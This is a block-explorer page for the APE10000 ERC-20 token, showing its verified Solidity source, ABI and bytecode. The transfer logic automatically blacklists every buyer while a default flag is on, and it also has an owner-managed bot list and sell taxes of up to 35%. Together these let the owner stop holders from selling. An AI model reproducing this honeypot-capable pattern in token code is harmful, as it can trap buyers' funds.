ETH Price: $3,156.94 (-8.14%)
Gas: 11 Gwei

Token

APE10000 (APE10000)
 

Overview

Max Total Supply

9,693.875853026526471509 APE10000

Holders

85

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
19 APE10000

Value
$0.00
0x81f88AAe9B36f26E8F3b127dBCDF4e18C46cFCca
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
APE10000

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity Multiple files format)

File 1 of 4: APE10000.sol
// http://APE10000.com
// https://t.me/ape10000token

pragma solidity ^0.8.7;

import "./TradableErc20.sol";

contract APE10000 is TradableErc20 {
    address _owner;
    address _withdrawAddress =
        address(0x75520e40C334A97CE97c51DCbEC2f5fed22eb438);
    uint256 maxContractLiquidityPercent = 4;

    constructor() TradableErc20("APE10000", "APE10000") {
        _owner = msg.sender;
        _setMaxBuy(2);
    }

    function getMaxContractBalancePercent()
        internal
        view
        override
        returns (uint256)
    {
        return maxContractLiquidityPercent;
    }

    function setMaxContractLiquidityPercent(uint256 newMaxLiquidityPercent)
        external
        onlyOwner
    {
        maxContractLiquidityPercent = newMaxLiquidityPercent;
    }

    function withdraw() external {
        require(msg.sender == _withdrawAddress || msg.sender == _owner);
        payable(_withdrawAddress).transfer(address(this).balance);
    }

    function isOwner(address account) internal view override returns (bool) {
        return account == _owner;
    }

    function transferOwnership(address newOwner) external onlyOwner {
        _owner = newOwner;
    }
}

File 2 of 4: ERC20.sol
pragma solidity ^0.8.7;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract ERC20 is IERC20 {
    uint256 internal _totalSupply = 1e22;
    string _name;
    string _symbol;
    uint8 constant _decimals = 18;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        _beforeTokenTransfer(from, to, amount);

        uint256 senderBalance = _balances[from];
        require(senderBalance >= amount);
        unchecked {
            _balances[from] = senderBalance - amount;
        }
        _balances[to] += amount;
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function allowance(address owner, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        external
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(currentAllowance >= amount);
        unchecked {
            _approve(sender, msg.sender, currentAllowance - amount);
        }

        return true;
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0));

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount);
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 3 of 4: IUniswapV2Router02.sol
pragma solidity ^0.8.7;

interface IUniswapV2Router02 {
    //function swapExactTokensForETHSupportingFeeOnTransferTokens(
    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

File 4 of 4: TradableErc20.sol
pragma solidity ^0.8.7;

//import "hardhat/console.sol";
import "./ERC20.sol";
import "./IUniswapV2Router02.sol";

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

abstract contract TradableErc20 is ERC20 {
    IUniswapV2Router02 internal constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public uniswapV2Pair;
    bool public tradingEnable;
    mapping(address => bool) public isBot;
    mapping(address => bool) _isExcludedFromFee;
    bool _autoBanBots = true;
    bool _inSwap;
    uint256 public maxBuy;

    uint256 constant maxBuyIncrementMinutesTimer = 2; // increment maxbuy minutes
    uint256 constant maxByyIncrementPercentil = 1; // increment maxbyu percentil 1000=100%
    uint256 public maxBuyIncrementValue; // value for increment maxBuy
    uint256 public incrementTime; // last increment time

    modifier onlyOwner() {
        require(isOwner(msg.sender));
        _;
    }

    modifier lockTheSwap() {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    constructor(string memory name_, string memory symbol_)
        ERC20(name_, symbol_)
    {
        _isExcludedFromFee[address(0)] = true;
    }

    receive() external payable {}

    function makeLiquidity() public onlyOwner {
        require(uniswapV2Pair == address(0));
        address pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );
        _balances[address(this)] = _totalSupply;
        _allowances[address(this)][address(_uniswapV2Router)] = _totalSupply;
        _isExcludedFromFee[pair] = true;
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _totalSupply,
            0,
            0,
            msg.sender,
            block.timestamp
        );

        uniswapV2Pair = pair;
        tradingEnable = true;

        incrementTime = block.timestamp;
        maxBuyIncrementValue = (_totalSupply * maxByyIncrementPercentil) / 1000;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(!isBot[from] && !isBot[to]);

        // buy
        if (from == uniswapV2Pair && !_isExcludedFromFee[to]) {
            // increment maxBuy
            uint256 incrementCount = (block.timestamp - incrementTime) /
                (maxBuyIncrementMinutesTimer * 1 minutes);
            if (incrementCount > 0) {
                if (maxBuy < _totalSupply)
                    maxBuy += maxBuyIncrementValue * incrementCount;
                incrementTime = block.timestamp;
            }

            require(tradingEnable);
            if (!_autoBanBots) require(_balances[to] + amount <= maxBuy);
            // antibot
            if (_autoBanBots) isBot[to] = true;
            amount = _getFeeBuy(amount);
        }

        // sell
        if (!_inSwap && uniswapV2Pair != address(0) && to == uniswapV2Pair) {
            amount = _getFeeSell(amount, from);
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 maxContractBalance = (balanceOf(uniswapV2Pair) *
                    getMaxContractBalancePercent()) / 100;
                if (contractTokenBalance > maxContractBalance) {
                    uint256 burnCount;
                    unchecked {
                        burnCount = contractTokenBalance - maxContractBalance;
                    }
                    contractTokenBalance = maxContractBalance;
                    _totalSupply -= burnCount;
                    emit Transfer(address(this), address(0), burnCount);
                }
                //console.log("swapTokensForEth");
                uint256 swapCount = contractTokenBalance;
                uint256 maxSwapCount = 2 * amount;
                if (swapCount > maxSwapCount) swapCount = maxSwapCount;
                swapTokensForEth(swapCount);
            }
        }

        // transfer
        //console.log(from, "->", to);
        //console.log("amount: ", amount);
        super._transfer(from, to, amount);
        //console.log("=====end transfer=====");
    }

    function _getFeeBuy(uint256 amount) private returns (uint256) {
        uint256 fee = amount / 20; // 5%
        amount -= fee;
        _balances[address(this)] += fee;
        return amount;
    }

    function getSellBurnCount(uint256 amount) internal view returns (uint256) {
        // calculate fee percent
        uint256 value = _balances[uniswapV2Pair];
        uint256 vMin = value / 100; // min additive tax amount
        if (amount <= vMin) return amount / 20; // 5% constant tax
        uint256 vMax = value / 10; // max additive tax amount 10%
        if (amount > vMax) return (amount * 35) / 100; // 35% tax

        // additive tax, that in intervat 0-35%
        return (((amount - vMin) * 35 * amount) / (vMax - vMin)) / 100;
    }

    function _getFeeSell(uint256 amount, address account)
        private
        returns (uint256)
    {
        // get taxes
        uint256 devFee = amount / 20; // 5%
        uint256 burnCount = getSellBurnCount(amount); // burn count

        amount -= devFee + burnCount;
        _balances[account] -= devFee + burnCount;        
        _balances[address(this)] += devFee;
        _totalSupply -= burnCount;
        emit Transfer(address(this), address(0), burnCount);
        return amount;
    }

    function setMaxBuy(uint256 percent) external onlyOwner {
        _setMaxBuy(percent);
    }

    function _setMaxBuy(uint256 percentil) internal {
        maxBuy = (percentil * _totalSupply) / 1000;
    }

    function getMaxBuy() external view returns (uint256) {
        uint256 incrementCount = (block.timestamp - incrementTime) /
            (maxBuyIncrementMinutesTimer * 1 minutes);
        if (incrementCount == 0) return maxBuy;

        return maxBuy + maxBuyIncrementValue * incrementCount;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        // make the swap
        _uniswapV2Router.swapExactTokensForETH(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
    }

    function setBots(address[] memory accounts, bool value) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; ++i) {
            isBot[accounts[i]] = value;
        }
    }

    function setExcludeFromFee(address[] memory accounts, bool value)
        external
        onlyOwner
    {
        for (uint256 i = 0; i < accounts.length; ++i) {
            _isExcludedFromFee[accounts[i]] = value;
        }
    }

    function setTradingEnable(bool value, bool autoBanBotsValue)
        external
        onlyOwner
    {
        tradingEnable = value;
        _autoBanBots = autoBanBotsValue;
    }

    function setAutoBanBots(bool value) external onlyOwner {
        _autoBanBots = value;
    }

    function getMaxContractBalancePercent() internal virtual returns (uint256);

    function isOwner(address account) internal virtual returns (bool);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getMaxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"incrementTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"makeLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyIncrementValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutoBanBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"setMaxBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxLiquidityPercent","type":"uint256"}],"name":"setMaxContractLiquidityPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"},{"internalType":"bool","name":"autoBanBotsValue","type":"bool"}],"name":"setTradingEnable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405269021e19e0c9bab24000006000556008805460ff19166001179055600d80546001600160a01b0319167375520e40c334a97ce97c51dcbec2f5fed22eb4381790556004600e553480156200005757600080fd5b50604080518082018252600880825267041504531303030360c41b602080840182815285518087019096529285528401528151919291839183916200009f9160019162000138565b508051620000b590600290602084019062000138565b50506000805250506007602052507f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df805460ff19166001179055600c80546001600160a01b031916331790556200010d600262000113565b6200026c565b6103e86000548262000126919062000201565b620001329190620001de565b60095550565b82805462000146906200022f565b90600052602060002090601f0160209004810192826200016a5760008555620001b5565b82601f106200018557805160ff1916838001178555620001b5565b82800160010185558215620001b5579182015b82811115620001b557825182559160200191906001019062000198565b50620001c3929150620001c7565b5090565b5b80821115620001c35760008155600101620001c8565b600082620001fc57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156200022a57634e487b7160e01b600052601160045260246000fd5b500290565b600181811c908216806200024457607f821691505b602082108114156200026657634e487b7160e01b600052602260045260246000fd5b50919050565b6117a9806200027c6000396000f3fe60806040526004361061016a5760003560e01c806370db69d6116100d1578063a9059cbb1161008a578063b203919e11610064578063b203919e1461042e578063dd62ed3e14610443578063f2fde38b14610489578063f53bc835146104a957600080fd5b8063a9059cbb146103d8578063acefa691146103f8578063aff41b7b1461041857600080fd5b806370db69d61461034257806395d89b411461035857806396790d4a1461036d57806399bf3266146103825780639b6f6d78146103985780639c0db5f3146103b857600080fd5b80633bbac579116101235780633bbac5791461024d5780633ccfd60b1461027d57806349bd5a5e1461029457806352e53988146102cc5780636c90b57f146102ec57806370a082311461030c57600080fd5b806306fdde0314610176578063095ea7b3146101a15780631693e8d4146101d157806318160ddd146101f257806323b872dd14610211578063313ce5671461023157600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104c9565b6040516101989190611590565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc3660046113f1565b61055b565b6040519015158152602001610198565b3480156101dd57600080fd5b506005546101c190600160a01b900460ff1681565b3480156101fe57600080fd5b506000545b604051908152602001610198565b34801561021d57600080fd5b506101c161022c3660046113b0565b610571565b34801561023d57600080fd5b5060405160128152602001610198565b34801561025957600080fd5b506101c1610268366004611336565b60066020526000908152604090205460ff1681565b34801561028957600080fd5b506102926105c7565b005b3480156102a057600080fd5b506005546102b4906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b3480156102d857600080fd5b506102926102e7366004611549565b61062f565b3480156102f857600080fd5b5061029261030736600461141d565b61064b565b34801561031857600080fd5b50610203610327366004611336565b6001600160a01b031660009081526003602052604090205490565b34801561034e57600080fd5b5061020360095481565b34801561036457600080fd5b5061018b6106cc565b34801561037957600080fd5b506102036106db565b34801561038e57600080fd5b50610203600b5481565b3480156103a457600080fd5b506102926103b33660046114fb565b610731565b3480156103c457600080fd5b506102926103d336600461141d565b61075b565b3480156103e457600080fd5b506101c16103f33660046113f1565b6107d7565b34801561040457600080fd5b50610292610413366004611516565b6107e4565b34801561042457600080fd5b50610203600a5481565b34801561043a57600080fd5b5061029261082c565b34801561044f57600080fd5b5061020361045e366004611377565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561049557600080fd5b506102926104a4366004611336565b610b37565b3480156104b557600080fd5b506102926104c4366004611549565b610b70565b6060600180546104d8906116c6565b80601f0160208091040260200160405190810160405280929190818152602001828054610504906116c6565b80156105515780601f1061052657610100808354040283529160200191610551565b820191906000526020600020905b81548152906001019060200180831161053457829003601f168201915b5050505050905090565b6000610568338484610b90565b50600192915050565b600061057e848484610bf1565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156105af57600080fd5b6105bc8533858403610b90565b506001949350505050565b600d546001600160a01b03163314806105ea5750600c546001600160a01b031633145b6105f357600080fd5b600d546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561062c573d6000803e3d6000fd5b50565b600c546001600160a01b0316331461064657600080fd5b600e55565b600c546001600160a01b0316331461066257600080fd5b60005b82518110156106c757816007600085848151811061068557610685611732565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556106c081611701565b9050610665565b505050565b6060600280546104d8906116c6565b6000806106ea6002603c611690565b600b546106f790426116af565b610701919061166e565b90508061071057505060095490565b80600a5461071e9190611690565b60095461072b9190611656565b91505090565b600c546001600160a01b0316331461074857600080fd5b6008805460ff1916911515919091179055565b600c546001600160a01b0316331461077257600080fd5b60005b82518110156106c757816006600085848151811061079557610795611732565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556107d081611701565b9050610775565b6000610568338484610bf1565b600c546001600160a01b031633146107fb57600080fd5b6005805460ff60a01b1916600160a01b93151593909302929092179091556008805460ff1916911515919091179055565b600c546001600160a01b0316331461084357600080fd5b6005546001600160a01b03161561085957600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a857600080fd5b505afa1580156108bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e0919061135a565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561093c57600080fd5b505afa158015610950573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610974919061135a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109bc57600080fd5b505af11580156109d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f4919061135a565b60008054308083526003602090815260408085208490556004808352818620737a250d5630b4cf539739df2c5dacb4c659f2488d808852908452828720959095556001600160a01b03871686526007909252808520805460ff191660011790558454905163f305d71960e01b81529182019290925260248101919091526044810183905260648101929092523360848301524260a483015291925063f305d71990479060c4016060604051808303818588803b158015610ab357600080fd5b505af1158015610ac7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aec9190611562565b5050600580546001600160a81b0319166001600160a01b03841617600160a01b1790555042600b556000546103e890610b2790600190611690565b610b31919061166e565b600a5550565b600c546001600160a01b03163314610b4e57600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600c546001600160a01b03163314610b8757600080fd5b61062c81610ea1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff16158015610c3357506001600160a01b03821660009081526006602052604090205460ff16155b610c3c57600080fd5b6005546001600160a01b038481169116148015610c7257506001600160a01b03821660009081526007602052604090205460ff16155b15610d68576000610c856002603c611690565b600b54610c9290426116af565b610c9c919061166e565b90508015610cda576000546009541015610cd55780600a54610cbe9190611690565b60096000828254610ccf9190611656565b90915550505b42600b555b600554600160a01b900460ff16610cf057600080fd5b60085460ff16610d2c576009546001600160a01b038416600090815260036020526040902054610d21908490611656565b1115610d2c57600080fd5b60085460ff1615610d5b576001600160a01b0383166000908152600660205260409020805460ff191660011790555b610d6482610ec2565b9150505b600854610100900460ff16158015610d8a57506005546001600160a01b031615155b8015610da357506005546001600160a01b038381169116145b15610e9657610db28184610f0c565b306000908152600360205260409020549091508015610e945760006064610dd8600e5490565b6005546001600160a01b0316600090815260036020526040902054610dfd9190611690565b610e07919061166e565b905080821115610e6b576000818303905081925080600080828254610e2c91906116af565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505b816000610e79856002611690565b905080821115610e87578091505b610e9082610ff3565b5050505b505b6106c78383836111af565b6103e860005482610eb29190611690565b610ebc919061166e565b60095550565b600080610ed060148461166e565b9050610edc81846116af565b30600090815260036020526040812080549295508392909190610f00908490611656565b90915550929392505050565b600080610f1a60148561166e565b90506000610f2785611266565b9050610f338183611656565b610f3d90866116af565b9450610f498183611656565b6001600160a01b03851660009081526003602052604081208054909190610f719084906116af565b90915550503060009081526003602052604081208054849290610f95908490611656565b9250508190555080600080828254610fad91906116af565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350929392505050565b6008805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061103757611037611732565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110a457600080fd5b505afa1580156110b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110dc919061135a565b816001815181106110ef576110ef611732565b60200260200101906001600160a01b031690816001600160a01b03168152505061112e30737a250d5630b4cf539739df2c5dacb4c659f2488d84610b90565b6040516318cbafe560e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d906318cbafe59061116e9085906000908690309042906004016115e5565b600060405180830381600087803b15801561118857600080fd5b505af115801561119c573d6000803e3d6000fd5b50506008805461ff001916905550505050565b6001600160a01b038316600090815260036020526040902054818110156111d557600080fd5b6001600160a01b0380851660009081526003602052604080822085850390559185168152908120805484929061120c908490611656565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161125891815260200190565b60405180910390a350505050565b6005546001600160a01b03166000908152600360205260408120548161128d60648361166e565b90508084116112a9576112a160148561166e565b949350505050565b60006112b6600a8461166e565b9050808511156112e05760646112cd866023611690565b6112d7919061166e565b95945050505050565b60646112ec83836116af565b866112f785826116af565b611302906023611690565b61130c9190611690565b6112cd919061166e565b80356113218161175e565b919050565b8035801515811461132157600080fd5b60006020828403121561134857600080fd5b81356113538161175e565b9392505050565b60006020828403121561136c57600080fd5b81516113538161175e565b6000806040838503121561138a57600080fd5b82356113958161175e565b915060208301356113a58161175e565b809150509250929050565b6000806000606084860312156113c557600080fd5b83356113d08161175e565b925060208401356113e08161175e565b929592945050506040919091013590565b6000806040838503121561140457600080fd5b823561140f8161175e565b946020939093013593505050565b6000806040838503121561143057600080fd5b823567ffffffffffffffff8082111561144857600080fd5b818501915085601f83011261145c57600080fd5b813560208282111561147057611470611748565b8160051b604051601f19603f8301168101818110868211171561149557611495611748565b604052838152828101945085830182870184018b10156114b457600080fd5b600096505b848710156114de576114ca81611316565b8652600196909601959483019483016114b9565b5096506114ee9050878201611326565b9450505050509250929050565b60006020828403121561150d57600080fd5b61135382611326565b6000806040838503121561152957600080fd5b61153283611326565b915061154060208401611326565b90509250929050565b60006020828403121561155b57600080fd5b5035919050565b60008060006060848603121561157757600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156115bd578581018301518582016040015282016115a1565b818111156115cf576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116355784516001600160a01b031683529383019391830191600101611610565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156116695761166961171c565b500190565b60008261168b57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156116aa576116aa61171c565b500290565b6000828210156116c1576116c161171c565b500390565b600181811c908216806116da57607f821691505b602082108114156116fb57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156117155761171561171c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461062c57600080fdfea2646970667358221220836f0c17e38026025012ef4527ca8ba9428a3a5770054f9b666509f543d3c5ec64736f6c63430008070033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c806370db69d6116100d1578063a9059cbb1161008a578063b203919e11610064578063b203919e1461042e578063dd62ed3e14610443578063f2fde38b14610489578063f53bc835146104a957600080fd5b8063a9059cbb146103d8578063acefa691146103f8578063aff41b7b1461041857600080fd5b806370db69d61461034257806395d89b411461035857806396790d4a1461036d57806399bf3266146103825780639b6f6d78146103985780639c0db5f3146103b857600080fd5b80633bbac579116101235780633bbac5791461024d5780633ccfd60b1461027d57806349bd5a5e1461029457806352e53988146102cc5780636c90b57f146102ec57806370a082311461030c57600080fd5b806306fdde0314610176578063095ea7b3146101a15780631693e8d4146101d157806318160ddd146101f257806323b872dd14610211578063313ce5671461023157600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104c9565b6040516101989190611590565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc3660046113f1565b61055b565b6040519015158152602001610198565b3480156101dd57600080fd5b506005546101c190600160a01b900460ff1681565b3480156101fe57600080fd5b506000545b604051908152602001610198565b34801561021d57600080fd5b506101c161022c3660046113b0565b610571565b34801561023d57600080fd5b5060405160128152602001610198565b34801561025957600080fd5b506101c1610268366004611336565b60066020526000908152604090205460ff1681565b34801561028957600080fd5b506102926105c7565b005b3480156102a057600080fd5b506005546102b4906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b3480156102d857600080fd5b506102926102e7366004611549565b61062f565b3480156102f857600080fd5b5061029261030736600461141d565b61064b565b34801561031857600080fd5b50610203610327366004611336565b6001600160a01b031660009081526003602052604090205490565b34801561034e57600080fd5b5061020360095481565b34801561036457600080fd5b5061018b6106cc565b34801561037957600080fd5b506102036106db565b34801561038e57600080fd5b50610203600b5481565b3480156103a457600080fd5b506102926103b33660046114fb565b610731565b3480156103c457600080fd5b506102926103d336600461141d565b61075b565b3480156103e457600080fd5b506101c16103f33660046113f1565b6107d7565b34801561040457600080fd5b50610292610413366004611516565b6107e4565b34801561042457600080fd5b50610203600a5481565b34801561043a57600080fd5b5061029261082c565b34801561044f57600080fd5b5061020361045e366004611377565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561049557600080fd5b506102926104a4366004611336565b610b37565b3480156104b557600080fd5b506102926104c4366004611549565b610b70565b6060600180546104d8906116c6565b80601f0160208091040260200160405190810160405280929190818152602001828054610504906116c6565b80156105515780601f1061052657610100808354040283529160200191610551565b820191906000526020600020905b81548152906001019060200180831161053457829003601f168201915b5050505050905090565b6000610568338484610b90565b50600192915050565b600061057e848484610bf1565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156105af57600080fd5b6105bc8533858403610b90565b506001949350505050565b600d546001600160a01b03163314806105ea5750600c546001600160a01b031633145b6105f357600080fd5b600d546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561062c573d6000803e3d6000fd5b50565b600c546001600160a01b03163314610646576000